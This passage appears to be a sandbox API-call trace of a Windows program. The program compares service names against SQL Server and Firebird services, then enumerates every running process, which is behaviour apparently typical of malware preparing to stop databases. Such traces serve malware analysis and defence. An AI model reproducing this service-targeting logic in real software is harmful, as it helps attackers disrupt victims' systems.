lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0127.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0127.951] lstrlenW (lpString="RpcEptMapper") returned 12 [0127.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.951] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0127.951] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0127.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0127.951] lstrlenW (lpString="RpcSs") returned 5 [0127.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0127.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0127.951] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0127.951] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0127.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0127.951] lstrlenW (lpString="SamSs") returned 5 [0127.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0127.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0127.951] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0127.951] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0127.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0127.951] lstrlenW (lpString="Schedule") returned 8 [0127.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0127.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0127.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0127.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0127.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0127.952] lstrlenW (lpString="SecurityHealthService") returned 21 [0127.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0127.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0127.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0127.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0127.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0127.952] lstrlenW (lpString="SENS") returned 4 [0127.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0127.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0127.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0127.952] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0127.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0127.952] lstrlenW (lpString="ShellHWDetection") returned 16 [0127.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.952] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0127.952] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0127.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0127.952] lstrlenW (lpString="Spooler") returned 7 [0127.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0127.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0127.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0127.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0127.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0127.952] lstrlenW (lpString="SSDPSRV") returned 7 [0127.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0127.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0127.952] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0127.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0127.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0127.953] lstrlenW (lpString="StateRepository") returned 15 [0127.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0127.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0127.953] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0127.953] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0127.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0127.953] lstrlenW (lpString="SysMain") returned 7 [0127.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0127.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0127.953] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0127.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0127.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0127.953] lstrlenW (lpString="SystemEventsBroker") returned 18 [0127.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0127.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0127.953] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0127.953] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0127.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0127.953] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1004 [0127.992] Process32FirstW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.993] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.993] lstrlenW (lpString="System") returned 6 [0127.993] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.994] lstrlenW (lpString="smss.exe") returned 8 [0127.994] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.995] lstrlenW (lpString="csrss.exe") returned 9 [0127.995] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.996] lstrlenW (lpString="wininit.exe") returned 11 [0127.996] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.997] lstrlenW (lpString="csrss.exe") returned 9 [0127.997] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.998] lstrlenW (lpString="winlogon.exe") returned 12 [0127.998] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.999] lstrlenW (lpString="services.exe") returned 12 [0127.999] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0128.000] lstrlenW (lpString="lsass.exe") returned 9 [0128.000] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.000] lstrlenW (lpString="svchost.exe") returned 11 [0128.000] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0128.001] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0128.001] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0128.002] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0128.002] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.003] lstrlenW (lpString="svchost.exe") returned 11 [0128.003] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0128.004] lstrlenW (lpString="dwm.exe") returned 7 [0128.004] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.005] lstrlenW (lpString="svchost.exe") returned 11 [0128.005] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.006] lstrlenW (lpString="svchost.exe") returned 11 [0128.006] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.007] lstrlenW (lpString="svchost.exe") returned 11 [0128.007] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.008] lstrlenW (lpString="svchost.exe") returned 11 [0128.008] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.009] lstrlenW (lpString="svchost.exe") returned 11 [0128.009] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.009] lstrlenW (lpString="svchost.exe") returned 11 [0128.009] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.010] lstrlenW (lpString="svchost.exe") returned 11 [0128.010] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.011] lstrlenW (lpString="svchost.exe") returned 11 [0128.011] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.122] lstrlenW (lpString="svchost.exe") returned 11 [0128.123] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0128.123] lstrlenW (lpString="spoolsv.exe") returned 11 [0128.123] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.125] lstrlenW (lpString="svchost.exe") returned 11 [0128.125] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.126] lstrlenW (lpString="svchost.exe") returned 11 [0128.126] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0128.127] lstrlenW (lpString="audiodg.exe") returned 11 [0128.127] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0128.128] lstrlenW (lpString="sihost.exe") returned 10 [0128.128] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.129] lstrlenW (lpString="svchost.exe") returned 11 [0128.129] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0128.129] lstrlenW (lpString="taskhostw.exe") returned 13 [0128.129] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0128.130] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0128.130] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0128.131] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0128.131] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0128.132] lstrlenW (lpString="explorer.exe") returned 12 [0128.132] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0128.133] lstrlenW (lpString="Memory Compression") returned 18 [0128.133] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0128.134] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0128.134] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0128.135] lstrlenW (lpString="SearchUI.exe") returned 12 [0128.135] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0128.136] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0128.136] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0128.137] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0128.137] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0128.137] lstrlenW (lpString="taskhostw.exe") returned 13 [0128.137] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0128.192] lstrlenW (lpString="UsoClient.exe") returned 13 [0128.192] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0128.193] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0128.193] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0128.220] lstrlenW (lpString="msoia.exe") returned 9 [0128.221] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0128.221] lstrlenW (lpString="taskhostw.exe") returned 13 [0128.221] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0128.222] lstrlenW (lpString="msoia.exe") returned 9 [0128.222] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0128.223] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0128.223] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0128.224] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0128.224] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0128.225] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0128.225] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0128.226] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0128.226] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0128.268] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0128.268] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0128.269] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0128.269] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0128.270] lstrlenW (lpString="concerned venture.exe") returned 21 [0128.270] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0128.270] lstrlenW (lpString="organizingscsi.exe") returned 18 [0128.271] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0128.271] lstrlenW (lpString="airplane placing.exe") returned 20 [0128.271] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0128.272] lstrlenW (lpString="circus.exe") returned 10 [0128.272] Process32NextW (in: hSnapshot=0x1004, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 